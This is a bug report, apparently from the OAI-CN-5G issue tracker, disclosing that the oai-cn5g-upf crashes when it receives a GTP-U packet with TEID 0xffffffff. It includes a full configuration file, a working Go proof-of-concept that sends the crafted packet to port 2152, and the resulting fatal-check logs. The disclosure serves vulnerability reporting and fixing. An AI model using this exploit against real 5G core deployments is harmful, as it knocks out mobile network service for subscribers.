[Bug] UPF Crash on GTP‑U packet with TEID = 0xffffffff
OAI-CN-5G Release, Revision, or Tag
- commit:74d8ed9a; eBPF=No
Description
When oai-cn5g-upf (simpleswitch datapath) receives a GTP‑U packet whose TEID field is 0xffffffff (2^32 - 1), the UPF process aborts with a fatal check failure inside folly::AtomicHashArray / folly::AtomicHashMap. This allows a remote attacker to trigger a denial of service by sending a single crafted GTP‑U packet on N3.
Config
config.yaml
################################################################################
# Licensed to the OpenAirInterface (OAI) Software Alliance under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The OpenAirInterface Software Alliance licenses this file to You under
# the OAI Public License, Version 1.1 (the "License"); you may not use this file
# except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.openairinterface.org/?page_id=698
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#-------------------------------------------------------------------------------
# For more information about the OpenAirInterface (OAI) Software Alliance:
# contact@openairinterface.org
################################################################################
# OAI CN Configuration File
### This file can be used by all OAI NFs
### Some fields are specific to an NF and will be ignored by other NFs
### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file
### If you intend to mount this file or use a bare-metal deployment, please refer to README.md
### The README.md also defines default values and allowed values for each configuration parameter
############# Common configuration
# Log level for all the NFs
log_level:
general: debug
# If you enable registration, the other NFs will use the NRF discovery mechanism
register_nf:
general: yes
http_version: 2
############## SBI Interfaces
### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms
nfs:
amf:
host: oai-amf
sbi:
port: 8080
api_version: v1
interface_name: eth0
n2:
interface_name: eth0
port: 38412
smf:
host: oai-smf
sbi:
port: 8080
api_version: v1
interface_name: eth0
n4:
interface_name: eth0
port: 8805
upf:
host: oai-upf
sbi:
port: 8080
api_version: v1
interface_name: eth1
n3:
interface_name: eth0
port: 2152
n4:
interface_name: eth0
port: 8805
n6:
interface_name: eth1
n9:
interface_name: eth0
port: 2152
udm:
host: oai-udm
sbi:
port: 8080
api_version: v1
interface_name: eth0
udr:
host: oai-udr
sbi:
port: 8080
api_version: v1
interface_name: eth0
ausf:
host: oai-ausf
sbi:
port: 8080
api_version: v1
interface_name: eth0
nrf:
host: oai-nrf
sbi:
port: 8080
api_version: v1
interface_name: eth0
#### Common for UDR and AMF
database:
host: mysql
user: test
type: mysql
password: test
database_name: oai_db
generate_random: true
connection_timeout: 300 # seconds
## general single_nssai configuration
## Defines YAML anchors, which are reused in the config file
snssais:
- &embb_slice
sst: 1
############## NF-specific configuration
amf:
pid_directory: "/var/run"
amf_name: "OAI-AMF"
# This really depends on if we want to keep the "mini" version or not
support_features_options:
enable_simple_scenario: no
enable_nssf: no
enable_smf_selection: yes
use_external_udm: no
relative_capacity: 30
statistics_timer_interval: 20 #in seconds
emergency_support: false
served_guami_list:
- mcc: 001
mnc: 01
amf_region_id: 01
amf_set_id: 001
amf_pointer: 01
plmn_support_list:
- mcc: 001
mnc: 01
tac: 0x0001
nssai:
- *embb_slice
supported_integrity_algorithms:
- "NIA1"
- "NIA2"
supported_encryption_algorithms:
- "NEA0"
- "NEA1"
- "NEA2"
smf:
ue_mtu: 1500
support_features:
use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM
use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF
# we resolve from NRF, this is just to configure usage_reporting
upfs:
- host: oai-upf
config:
enable_usage_reporting: no
ue_dns:
primary_ipv4: "1.1.1.1"
primary_ipv6: "2001:4860:4860::8888"
secondary_ipv4: "8.8.8.8"
secondary_ipv6: "2001:4860:4860::8888"
ims:
pcscf_ipv4: "192.168.70.139"
pcscf_ipv6: "fe80::7915:f408:1787:db8b"
# the DNN you configure here should be configured in "dnns"
# follows the SmfInfo datatype from 3GPP TS 29.510
smf_info:
sNssaiSmfInfoList:
- sNssai: *embb_slice
dnnSmfInfoList:
- dnn: "oai"
- dnn: "openairinterface"
- dnn: "ims"
- dnn: "default"
local_subscription_infos:
- single_nssai: *embb_slice
dnn: "oai"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "openairinterface"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "ims"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "default"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
upf:
support_features:
enable_bpf_datapath: off # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off
enable_snat: yes # If "on": Source natting is done for UE, DEFAULT= off
remote_n6_gw: 127.0.0.1 # Dummy host since simple-switch does not use N6 GW
smfs:
- host: oai-smf # To be used for PFCP association in case of no-NRF
upf_info:
sNssaiUpfInfoList:
- sNssai: *embb_slice
dnnUpfInfoList:
- dnn: "oai"
- dnn: "openairinterface"
- dnn: "ims"
- dnn: "default"
## DNN configuration
dnns:
- dnn: "oai"
pdu_session_type: "IPV4"
ipv4_subnet: "10.0.0.0/24"
- dnn: "openairinterface"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.1.0/24"
ipv6_prefix: "2001:1:2::/64"
- dnn: "ims"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.9.0/24"
ipv6_prefix: "2001:1:2::/64"
- dnn: "default"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.255.0/24"
ipv6_prefix: "2001:1:2::/64"
Steps to reproduce
- Start a new go project inside a new folder: go mod init poc
- Create a main.go and paste the code below:
package main
import (
"encoding/binary"
"flag"
"fmt"
"net"
"time"
)
const gtpUPort = 2152
func buildGTPv1UPacket(teid uint32, payload []byte) []byte {
// Flags: 0x30 = Version 1 (001) | PT=1 | E=0 | S=0 | PN=0
const gtpFlags byte = 0x30
const gtpMsgType byte = 0xFF
headerLen := 8
packet := make([]byte, headerLen+len(payload))
// Flags
packet[0] = gtpFlags
// Message Type
packet[1] = gtpMsgType
binary.BigEndian.PutUint16(packet[2:4], uint16(len(payload)))
// TEID
binary.BigEndian.PutUint32(packet[4:8], teid)
// Payload
copy(packet[8:], payload)
return packet
}
func main() {
targetIP := flag.String("ip", "127.0.0.1", "UPF N3 interface IP")
targetPort := flag.Int("port", gtpUPort, "GTP-U UDP port (usually 2152)")
flag.Parse()
addr := fmt.Sprintf("%s:%d", *targetIP, *targetPort)
udpAddr, err := net.ResolveUDPAddr("udp", addr)
if err != nil {
panic(err)
}
conn, err := net.DialUDP("udp", nil, udpAddr)
if err != nil {
panic(err)
}
defer conn.Close()
const evilTEID uint32 = 0xFFFFFFFF
payload := make([]byte, 32)
for i := range payload {
payload[i] = 'A'
}
packet := buildGTPv1UPacket(evilTEID, payload)
fmt.Printf("Sending GTP-U packet to %s with TEID=0x%08x, length=%d bytes\n",
addr, evilTEID, len(packet))
_, err = conn.Write(packet)
if err != nil {
panic(err)
}
fmt.Println("Packet sent. Waiting a bit before exit...")
time.Sleep(2 * time.Second)
}
- Download required libraries:
go mod tidy - Run the program with the upf pfcp server address:
go run ./main.go -ip 192.168.70.134 -port 2152
Logs
[2025-12-02 09:32:13.413] [upf_app] [start] Started
[2025-12-02 09:32:14.091] [upf_n4 ] [info] handle_receive(34 bytes)
[2025-12-02 09:32:14.091] [upf_n4 ] [info] Handle SX ASSOCIATION SETUP REQUEST
[2025-12-02 09:32:18.356] [upf_n4 ] [info] TIME-OUT event timer id 2
[2025-12-02 09:32:24.092] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:32:24.092] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-02 09:32:34.092] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:32:34.092] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-02 09:32:44.093] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:32:44.093] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-02 09:32:54.093] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:32:54.093] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-02 09:33:04.094] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:33:04.094] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-02 09:33:14.094] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:33:14.094] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-02 09:33:24.095] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:33:24.095] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-02 09:33:34.095] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:33:34.095] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-02 09:33:44.096] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:33:44.096] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
WARNING: Logging before InitGoogleLogging() is written to STDERR
F1202 09:33:45.495388 26 AtomicHashArray.h:78] Check failed: key_in != emptyKey (4294967295 vs. 4294967295)
*** Check failure stack trace: ***
Expected Behaviour
The UPF should not crash when receiving a GTP‑U packet with TEID = 0xffffffff, even if such TEID is reserved/invalid from a control‑plane perspective. The packet should be dropped and optionally logged, or should lead to a PFCP error indication, but must not cause an abort in folly::AtomicHashArray.
Observed Behaviour
The UPF process aborts with a fatal check failure inside AtomicHashArray.h:
[2025-12-02 09:33:44.096] [upf_n4 ] [info] handle_receive(16 bytes)[2025-12-02 09:33:44.096] [upf_n4 ] [info] Received SX HEARTBEAT REQUESTWARNING: Logging before InitGoogleLogging() is written to STDERRF1202 09:33:45.495388 26 AtomicHashArray.h:78] Check failed: key_in != emptyKey (4294967295 vs. 4294967295) *** Check failure stack trace: ***
- key_in is 4294967295 (0xffffffff), which equals emptyKey.
- The CHECK fails and the process terminates, causing a denial of service.
Edited by Ziyu Lin